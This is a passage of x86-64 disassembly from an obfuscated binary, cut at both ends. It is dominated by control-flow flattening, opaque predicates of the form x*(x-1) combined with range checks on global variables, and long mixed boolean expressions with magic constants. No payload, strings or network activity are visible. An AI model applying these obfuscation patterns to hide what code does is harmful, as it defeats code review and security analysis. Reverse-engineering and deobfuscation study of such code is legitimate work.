or cl, dl
mov r10d, ecx
xor r10b, 1
mov edx, ecx
and dl, r10b
mov r9d, edx
and r9b, cl
xor dl, cl
or cl, r8b
and r8b, al
xor r8b, 1
mov ebx, r8d
xor bl, al
or r8b, al
xor r8b, 1
or r8b, bl
or dl, r9b
mov ebx, r8d
xor bl, 1
and bl, dl
xor dl, 1
and dl, r8b
or dl, bl
xor r10b, al
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xecd6b041
mov ebp, 0x23416bdc
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xecd6b041
jmp 0x1400bd5b0
mov ecx, 0xe2e29cd7
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov rax, qword [rsp + 0x38]
mov qword [0x140265058], rax
mov ecx, 0x43489bd2
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0xb7b60dc8
and edx, ebp
not ebp
and ebp, 0xb7b60dc8
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2d19f01a
and edx, 0xd2e60fe5
or edx, ecx
mov ebp, edx
xor ebp, 0x24500229
xor edx, 0x9aaffdd2
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0x4101ec54
and ebp, 0xbefe13ab
or ebp, edx
mov edx, ebp
xor edx, 0x980182
xor ebp, 0x4101ec55
mov edi, ecx
and edi, 0xbe67d679
and ebx, 0x41982986
or ebx, edi
or ecx, ebp
and ebp, 0xbe67d679
and edx, 0x41982986
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x6f392770
and edx, ecx
and ecx, 0x90c6d88f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x90c44007
xor ecx, 0x6f392770
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x4a13b8f8
and ebp, 0xb5ec4707
or ebp, edi
or ecx, ebx
and ebx, 0x4a13b8f8
and edx, 0xb5ec4707
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
setne r9b
sete r10b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r8b
and bl, al
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
mov r11d, edx
xor r11b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r11b
xor cl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, r10b
mov ecx, eax
xor cl, r10b
and cl, al
and r9b, r8b
and al, r10b
or al, r9b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
xor dl, 1
xor cl, 1
and cl, dl
or al, cl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0x9fadf664
mov eax, 0x6e77cf8a
cmovne ecx, eax
test bl, 1
mov ebp, 0x9fadf664
cmove ecx, ebp
jmp 0x1400bbbac
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x813a2264
and ebp, 0x22c44d11
or ebp, edx
mov ebx, ebp
xor ebx, 0x2800d01
xor ebp, 0x442b80e0
or ecx, 0xa3fe6f75
mov edx, ecx
not edx
and ebp, 0x646fc0f0
and ebx, 0x83902f05
or ebx, ebp
and ecx, 0x646fc0f0
and edx, 0x1800100a
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xbe724e5d
and edx, 0x418db1a2
or edx, ecx
mov ebp, edx
xor ebp, 0xa0304ec0
xor edx, 0x1d8c2128
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0x57c7913f
and ebp, 0xa8386ec0
or ebp, edx
mov edx, ebp
xor edx, 0x20082440
xor ebp, 0x57c7913e
mov edi, ecx
and edi, 0x9d32dba3
and ebx, 0x62cd245c
or ebx, edi
or ecx, ebp
and ebp, 0x9d32dba3
and edx, 0x62cd245c
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5b240cc3
mov ebp, ecx
and ebp, 0xa4028108
or ebp, edx
xor ebp, 0xa4028108
and ecx, 0xd97234
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xd97234
and ecx, 0xff268dcb
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x8df193e9
and ecx, 0x720e6c16
or ecx, ebp
xor ecx, 0x720e6c16
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov edx, r10d
xor dl, cl
and dl, r10b
mov esi, r9d
xor sil, r8b
and sil, r9b
mov r11d, esi
xor r11b, 1
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov edi, ebx
and dil, dl
xor bl, dl
or bl, dil
or al, dl
mov edx, eax
xor dl, bl
xor bl, 1
xor dl, 1
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
and bl, al
and sil, r11b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, r11d
and al, sil
xor sil, r11b
or sil, al
mov eax, ebx
xor al, 1
and al, sil
xor sil, 1
and sil, bl
or sil, al
and r9b, cl
and r10b, r8b
or r10b, r9b
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
xor cl, 1
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov edx, ebx
xor dl, 1
xor bl, al
or dl, cl
xor dl, 1
or dl, bl
mov eax, edx
xor dl, 1
and dl, sil
xor sil, 1
and al, sil
or dl, al
mov eax, esi
and al, cl
xor sil, cl
or sil, al
mov eax, esi
xor al, dl
test al, 1
mov eax, 0x2c43e1f1
mov ecx, 0x416c191a
cmovne eax, ecx
test sil, 1
mov ecx, 0x2c43e1f1
jmp 0x1400bd5aa
mov eax, dword [0x140265730]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
or eax, 1
mov edx, eax
not edx
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x4b35dc4f
and edx, 0xb4ca23b0
or edx, edi
or eax, ebx
and ebx, 0x4b35dc4f
and ecx, 0xb4ca23b0
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
and eax, ebp
not ebp
not ecx
and ebp, ecx
or eax, ebp
not eax
or eax, ecx
cmp eax, 0xffffffff
sete r8b
setne r10b
cmp dword [0x14026572c], 9
setg cl
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
mov r9d, r10d
xor r9b, 1
mov edx, ecx
xor dl, r8b
not dl
and dl, r8b
or cl, r8b
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, r9d
and bl, r10b
mov r11d, edx
and r11b, cl
mov r8d, ebx
and r8b, r9b
xor bl, r9b
or bl, r8b
mov eax, r11d
xor al, 1
xor r11b, dl
or al, cl
xor al, 1
or al, r11b
xor al, bl
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x817bd4ca
mov ebp, 0x53afb4fa
cmovne edx, ebp
test cl, 1
mov ecx, 0x817bd4ca
cmovne ecx, edx
jmp 0x1400bb5c9
mov ecx, 0xbc25ae97
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x9a5705d9
and ecx, edx
not edx
and edx, 0x9a5705d9
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x95f03a1f
and ecx, 0x6a0fc5e0
or ecx, edx
mov edx, ecx
xor edx, 0xf058c039
mov ebp, ecx
xor ebp, 0xf003882
and ebp, 0xbf0078a2
xor ecx, 0xe8e2401c
and ecx, edx
and edx, 0x40ff875d
or edx, ebp
mov ebp, edx
xor ebp, 0x40ff875d
mov ebx, edx
xor ebx, 0xa7baf887
and ebx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xe7457fdb
and ecx, 0x18ba8024
or ecx, ebx
and ebp, 1
xor edx, 0x40ff875c
or edx, ebp
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0xa20a571d
and ecx, 0x5df5a8e2
or ecx, edi
or ebx, edx
and edx, 0xa20a571d
and ebp, 0x5df5a8e2
or ebp, edx
xor ebp, ecx
not ebx
or ebx, ebp
mov ecx, ebx
xor ecx, 0x2b016bae
and ecx, ebx
not ebx
and ebx, 0x2b016bae
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd4fe9451
and ecx, 0x2b016bae
or ecx, edx
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
not al
and al, cl
xor cl, r8b
and cl, r8b
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor dl, 1
xor cl, 1
mov eax, edx
or al, cl
xor cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x4650bb91
mov ebp, 0xb8abcfa9
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0x4650bb91
cmovne ecx, ebp
jmp 0x1400bd1cd
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x7bf6f948
mov ebp, ebx
and ebp, 0x840906b6
or ebp, ecx
mov edi, ebp
xor edi, 0x80080416
xor ebp, 0x7aa62101
mov ecx, edx
or ecx, 0x7ea723a0
and ebp, 0x7ea723a1
and edi, 0x8158dc5e
or edi, ebp
and ecx, 0x7ea723a1
xor ecx, edi
mov ebp, ecx
not ebp
mov edi, ecx
and edi, 0x2ab4da3a
and ebp, 0xd54b25c5
or ebp, edi
or ecx, ebx
and ebx, 0x2ab4da3a
and edx, 0xd54b25c5
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
and dl, cl
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, cl
and dl, bl
mov eax, ecx
xor al, r8b
not al
and al, r8b
or cl, r8b
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
or al, dl
xor dl, 1
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
xor bl, dl
xor cl, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xd3715ddb
mov eax, 0x141c5064
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0xd3715ddb
jmp 0x1400bd5b0
mov ecx, 0xd9ebea90
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov esi, ebp
not esi
mov ebx, esi
and ebx, 0x93eced91
mov edx, ebp
and edx, 0x6c13126e
or edx, ebx
mov ebx, edx
xor ebx, 0x20001040
xor edx, 0x804c4191
mov ecx, ebp
xor ecx, 0xa84c51d1
and ecx, ebp
or edx, 0x57b3ae2e
mov edi, ecx
not edi
mov eax, edx
and eax, 0x1dafc69e
and ebx, 0xa0401141
or ebx, eax
or edx, edi
and edi, 0x1dafc69e
and ecx, 0xe2503961
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x1c15dddd
and edx, 0xe3ea2222
or edx, eax
mov edi, edx
xor edi, 0x4ba673f2
xor edx, 0x3448080d
and esi, 0x4572bf74
and ebp, 0xba8d408b
or ebp, esi
mov eax, ebp
xor eax, 0x3208008b
xor ebp, 0x4572bf74
mov ecx, edi
and ecx, 0x8897f420
and edx, 0x77680bdf
or edx, ecx
or edi, ebp
and ebp, 0x8897f420
and eax, 0x77680bdf
or eax, ebp
xor eax, edx
not edi
or edi, eax
mov eax, edi
not eax
and eax, 0x2788168d
and edi, 0xd877e972
or edi, eax
xor edi, 0xd877e972
sete al
setne cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov r8d, edx
xor dl, cl
and cl, bl
and r8b, al
or r8b, cl
or bl, al
xor bl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov ecx, r8d
xor cl, 1
mov ebx, r8d
and bl, cl
and al, r9b
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, cl
xor dl, 1
or dl, bl
xor al, 1
mov ebx, eax
xor bl, r9b
or al, r9b
xor al, 1
or al, bl
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or al, bl
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xfec5a0df
mov ebp, 0x774caa48
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0xfec5a0df
jmp 0x1400bbbaf
mov ecx, 0x6e524cbf
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x22c2e20d
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0x88e37190
and ecx, 0x771c8e6f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x5208022a
xor ecx, 0x88e37191
mov edi, edx
and edi, 0xad54dcc5
and ebx, 0x52ab233a
or ebx, edi
or edx, ecx
and ecx, 0xad54dcc5
and ebp, 0x52ab233a
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
xor ecx, 0x97ac26a5
and ecx, edx
not edx
and edx, 0x97ac26a5
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb824f560
and ecx, 0x47db0a9f
or ecx, edx
mov edx, ecx
xor edx, 0x50552432
xor ecx, 0x2f88d3c5
mov ebp, ecx
and ebp, 0x82225a8c
and edx, 0x7ddda573
or edx, ebp
xor edx, 0x82225a8c
xor ecx, edx
test ecx, edx
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, cl
or cl, al
and al, bl
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xc5a642f5
mov ebp, 0xa989fb86
cmovne eax, ebp
test cl, 1
mov ecx, 0xc5a642f5
cmovne eax, ecx
jmp 0x1400bb8cb
mov ecx, 0x93f3fe64
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x8a1db6ef
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0x369bba16
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x55fd8852
and edx, 0xaa0277ad
or edx, ecx
mov ecx, edx
xor ecx, 0xaa0277ad
xor edx, 0x55fd8852
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x7607198f
and edx, ecx
and ecx, 0x89f8e670
or ecx, ebp
xor ecx, 0x89f8e670
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xf830f5ed
and ecx, 0x7cf0a12
or ecx, ebp
xor ecx, 0xf830f5ed
xor edx, ecx
test edx, ecx
setne r10b
sete r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, r9d
or bl, al
mov ecx, r8d
or cl, r10b
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, r9b
and dl, al
and r10b, r8b
and al, r9b
or al, r10b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x744021a3
mov edx, 0xcccc7f03
cmovne ecx, edx
test al, 1
mov eax, ecx
cmovne eax, edx
test bl, bl
jmp 0x1400aed12
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rdx - 1]
imul ebx, edx
mov esi, ebx
not esi
mov ecx, ebx
or ecx, 0x8b7948a0
mov edi, ecx
not edi
mov ebp, esi
or ebp, 0x7486b75f
mov edx, ebp
not edx
and ecx, 0xa614606c
and edi, 0x50829713
or edi, ecx
and ebp, 0xa614606c
and edx, 0x9690880
or edx, ebp
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x8b7948a1
and edx, 0x7486b75e
or edx, ecx
and esi, 0xf87a599b
and ebx, 0x785a664
or ebx, esi
mov ecx, ebx
xor ecx, 0x3058224
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x1cba3cd8
and edx, 0xe345c327
or edx, edi
xor ebx, 0x183a1898
and ebx, 0x1cba3cd8
and ecx, 0xe345c327
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
setne r8b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, r9b
xor dl, 1
or dl, al
mov r10d, edx
xor r10b, 1
or cl, r8b
or al, r9b
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, r10b
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xa0f4349d
mov ebp, 0x508c8786
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0xa0f4349d
jmp 0x1400bbba9
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0xeba29518
and edx, 0x145d6ae7
or edx, ebp
mov ecx, edx
xor ecx, 0x6a829110
mov ebp, edx
xor ebp, 0x145d6ae7
mov ebx, edx
xor ebx, 0x6e83fbb3
and ebx, ebp
and ecx, 0x7ade9154
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xf74d14f
and ecx, 0xf08b2eb0
or ecx, ebx
mov ebx, ecx
xor ebx, 0x108001a
and ebp, 1
xor edx, 0x145d6ae6
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xccbb1500
and edx, 0x3344eaff
or edx, ebp
mov ebp, edx
xor ebp, 0x304281f
xor edx, 0xccbb1500
xor ecx, 0x8a55bfe5
mov edi, ecx
and edi, 0x7cf2d2e0
and ebx, 0x830d2d1f
or ebx, edi
or ecx, edx
and edx, 0x7cf2d2e0
and ebp, 0x830d2d1f
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xb67ccba0
and ecx, 0x4983345f
or ecx, edx
mov ebx, ecx
xor ebx, 0x10044
xor ecx, 0x4404000
or ebp, 0x6ccd7b5c
mov edx, ebp
not edx
or ecx, 0x82328481
and ecx, 0xcef2f499
and ebx, 0x200d0b44
or ebx, ecx
and ebp, 0xcef2f499
and edx, 0x11000022
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xe8478bb7
and edx, 0x17b87448
or edx, ecx
mov ecx, edx
xor ecx, 0x62040314
xor edx, 0x8000eb
and ecx, 0xe60ef314
and edx, 0x19f10ceb
or edx, ecx
xor edx, 0xe60ef314
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
xor bl, al
and al, bl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x8b63c395
mov ecx, 0x97eab662
cmovne edx, ecx
test bl, 1
mov ecx, 0x8b63c395
jmp 0x1400bc2ba
mov eax, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x8a8ac920
and edx, 0x757536df
or edx, eax
mov ebp, edx
xor ebp, 0x65611000
xor edx, 0xc900
and edx, 0x1014efdf
and ebp, 0xefeb1020
or ebp, edx
mov eax, ebp
xor eax, 0x1014efdf
xor ebp, 0xefeb1020
mov edx, eax
and edx, 0xfffffffe
and ebp, 0xfffffffe
and eax, 1
or eax, ebp
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and eax, edx
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
mov ebp, edx
and ebp, 0x8f95dc57
and eax, 0x706a23a8
or eax, ebp
xor eax, 0x706a23a8
or eax, edx
cmp eax, 0xffffffff
setne r8b
sete r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ecx, r9d
xor cl, al
and cl, r9b
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r11d, edx
and r11b, bl
xor bl, dl
or bl, r11b
xor bl, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
xor dl, 1
mov ebx, edx
xor bl, r10b
not bl
and bl, r10b
or dl, r10b
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
xor r9b, r10b
xor r9b, 1
mov ecx, eax
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
xor bl, 1
mov ecx, ebx
or cl, al
xor bl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xcbcc4f0c
mov edx, 0x38847a3b
cmovne eax, edx
test bl, 1
mov edx, eax
mov ebp, 0xcbcc4f0c
cmovne edx, ebp
test cl, 1
cmovne edx, eax
jmp 0x1400bd2f4
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc3dbe08d
and edx, 0x3c241f72
or edx, ecx
mov ecx, edx
xor ecx, 0x30241012
xor edx, 0x43926089
and edx, 0x4f926fe9
and ecx, 0xb06d9016
or ecx, edx
mov ebp, ecx
not ebp
xor ecx, 0xb06d9016
mov edi, ecx
or edi, 1
mov ebx, edi
not ebx
and ecx, 0xfffffffe
and ebp, 1
or ebp, ecx
mov ecx, ebp
not ecx
mov edx, edi
and edx, 0x18d5f05b
and ebx, 0xe72a0fa4
or ebx, edx
or edi, ecx
and ecx, 0x18d5f05b
and ebp, 0xe72a0fa4
or ebp, ecx
xor ebp, ebx
not edi
or edi, ebp
mov ecx, edi
mov edx, edi
xor edx, 0x59574040
and edx, edi
not edi
and edi, 0x83739c55
and ecx, 0x7c8c63aa
or ecx, edi
mov ebp, ecx
xor ebp, 0x40000
xor ecx, 0x1530040
or ecx, 0xa6a8bfbf
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5e614f66
and ebp, 0x1160000
or ebp, edi
or ecx, ebx
and ebx, 0x5e614f66
and edx, 0xa19eb099
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa872ee10
and ecx, 0x578d11ef
or ecx, edx
mov edx, ecx
xor edx, 0xc980121
xor ecx, 0x61252e00
and ecx, 0x63677e8e
and edx, 0x9c988171
or edx, ecx
mov ecx, edx
xor ecx, 0x90008140
xor edx, 0x3444204
and edx, 0xfdc4235
and ecx, 0xf023bdca
or ecx, edx
xor ecx, 0xf023bdca
sete r8b
setne dl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl r10b
mov ecx, r10d
xor cl, dl
not cl
and cl, dl
or dl, r10b
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, r9d
xor dl, r8b
and dl, r9b
xor r10b, r8b
mov ebx, edx
xor bl, 1
xor dl, r10b
xor r10b, 1
or r10b, bl
xor r10b, 1
or r10b, dl
mov r8d, r10d
xor r8b, 1
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, bl
mov eax, r8d
and al, r10b
mov r9d, edx
and r9b, cl
xor dl, cl
or dl, r9b
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
xor al, dl
mov ecx, ebx
and cl, r10b
xor bl, r10b
or bl, cl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0x8a5e1092
mov ebp, 0xd34abcd8
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x8a5e1092
jmp 0x1400bd5b0
mov ecx, 0xf866c4ef
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xac96b0cf
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, 0xa24d4353
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov r8, qword [rsp + 0x38]
mov edx, dword [0x140265730]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebp, ecx
xor ebp, 0xfffffffe
and ebp, ecx
mov edx, ecx
or edx, 1
mov edi, edx
and edi, 0x242d705c
mov ebx, esi
and ebx, 0xdbd28fa2
or ebx, edi
mov edi, ebp
not edi
or edx, edi
and edi, 0x242d705c
and ebp, 0xdbd28fa3
or ebp, edi
xor ebp, ebx
not edx
or edx, ebp
not edx
and esi, 0x8fa45aad
and ecx, 0x705ba552
or ecx, esi
xor ecx, 0x705ba552
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x99c31c78
and ecx, 0x663ce387
or ecx, edx
xor ecx, 0x663ce387
sete r9b
cmp dword [0x14026572c], 9
setg cl
xor r9b, cl
mov r10d, r9d
xor r10b, 1
or cl, r10b
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov esi, r10d
and sil, r9b
mov r11d, eax
and r11b, bl
xor al, bl
or al, r11b
mov edx, esi
xor dl, 1
xor sil, r10b
or dl, r9b
xor dl, 1
or dl, sil
xor dl, al
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x2147973c
mov ebp, 0xeb01d2fa
cmovne eax, ebp
test cl, cl
mov ecx, 0x2147973c
cmovne ecx, eax
mov qword [0x140265058], r8
jmp 0x1400bd5ad
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0xcce48d8c
mov ebx, edx
not ebx
or ebp, 0x331b7273
mov ecx, ebp
not ecx
and edx, 0xdaa0e591
and ebx, 0x211b1262
or ebx, edx
and ebp, 0xdaa0e591
and ecx, 0x444080c
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xcce48d8c
and ecx, 0x331b7273
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ecx
xor edx, 0x960b54f
mov ebp, edx
and ebp, ebx
and edx, ecx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xd1e06cf9
and edx, 0x2e1f9306
or edx, ebp
xor edx, 0x277f2648
and ecx, 0x2f859818
mov ebp, ebx
and ebp, 0xd07a67e7
or ebp, ecx
xor ebp, 0x2f859819
and ebx, 1
or ebx, ebp
not ebx
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x42ebcbd6
and ecx, ebx
not ebx
and ebx, 0x40018002
